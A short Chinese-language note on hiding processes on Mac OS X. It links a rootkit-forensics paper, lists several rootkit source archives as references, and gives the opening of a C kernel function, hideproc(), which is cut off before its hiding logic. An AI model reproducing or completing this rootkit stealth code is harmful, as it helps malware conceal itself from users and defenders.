Mac OS X 隐藏进程相关资料

http://forensic.n0fate.com/wp-content/uploads/2012/12/Hunting-Mac-OS-X-rootkit-with-Memory-Forensics.pdf

参考codes：

frasm-master.zip

inficere-master.zip

onyx-the-black-cat-master.zip

rubilyn-0.0.1.tar.gz

KernelResolver-master

等等 Google、github上的资源

关键代码：作参考吧 亲测支持10.7-10.9

int hideproc(int pid)
{
    if ( pid <= 0 ) {
        return -1;
    }
    
    if (init_kernel_info(&g_kernel_info_hide_proc) != KERN_SUCCESS)
    {
        return KERN_FAILURE;
    }
    
    
//    IOLog("\nHide Proc!!!\n");

    if(string_handler()==0)
    {
        struct proc* p;
        if(pid!=0)
        {
            for (p =